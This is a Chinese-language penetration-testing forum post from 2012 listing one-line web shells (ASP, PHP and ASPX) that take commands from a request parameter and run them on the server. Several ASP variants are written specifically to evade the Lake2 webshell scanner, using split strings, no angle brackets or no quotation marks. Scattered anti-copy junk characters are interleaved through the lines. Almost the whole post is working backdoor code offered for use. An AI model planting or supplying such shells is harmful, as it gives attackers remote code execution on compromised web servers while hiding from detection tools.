中国网络渗透测试联盟

标题: 过雷克图一句话木马 [打印本页]

作者: admin    时间: 2012-9-23 14:36
标题: 过雷克图一句话木马
asp一句话  <%execute(request("1"))%>  
4 v2 |* e# y( Z( E4 k! M& @% e1 m2 L! R4 E
php一句话  <?php eval($_POST[1]);?>  
( h. K, T) g5 {- p* d0 q. s) D$ O* g$ t$ f$ M( `* ~/ X9 a; e+ O* G
aspx一句话
! ?3 p7 r7 J# \4 \6 [& P/ z4 m. b% t; ]# S/ A& T( ?/ }( m
<script language="C#" runat="server">
, p( K6 e5 {/ `1 ^8 ^: H3 _* g1 ?
0 M9 x' ^: V  m  |. H2 f+ lWebAdmin2Y.x.y aaaaa = new  WebAdmin2Y.x.y   ("add6bb58e139be10");
; N/ ^" ?- g3 D/ v6 t  M  z1 x
2 f' ~6 E4 l5 V# e+ f- {. P</script>
) E$ _5 d1 o* }- f. `: O9 j/ `4 m2 C
可以躲过雷客图的一句话。; |$ }% H- T. V  C6 @. u  t
- C6 ~  M1 Z; I' _
  <%; {$ `+ h; F: \9 V

; V: N  p$ W+ |) C( F  set ms = server.CreateObject("MSScriptControl.ScriptControl.1")! W* A( b+ \. x) \7 b
+ ]  N- a% V! J+ F& [! f* k
  ms.Language="VBScript"
2 v0 A3 g8 _2 b* m' y0 D: g+ _2 R) K# c3 q1 J$ M
  ms.AddObject "Response", Response
' V9 \) ]0 @% L: ~! g* Z/ }6 N& y& y
  ms.AddObject "request", request
! v; X7 |* z  Z! k: w, W+ i  H8 Z" z  D* s+ ?3 R% r
  ms.ExecuteStatement("ev"&"al(request(""1""))")9 h; R2 a7 a$ K! |, ?$ B' p1 m. x
  ^9 a" P  c9 R  ]
  %>
1 s4 F( P7 s# g  X% U: W0 b
& m0 c/ M: Q9 E3 z  不用'<,>'的asp一句话- a) v" ?' V( ?9 p

8 Y/ p! e3 K; A% x( C  q  <script language=VBScript runat=server>execute request("1")</script>
; W& D7 k7 B2 \6 Y# b, y7 e' P& f: L
  不用双引号的一句话。" x0 N1 A0 r) G( K5 z! a
+ H# Z* z0 o. C' y
  <%eval request(chr(35))%>+ Q3 G) i" C+ I) v) G





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2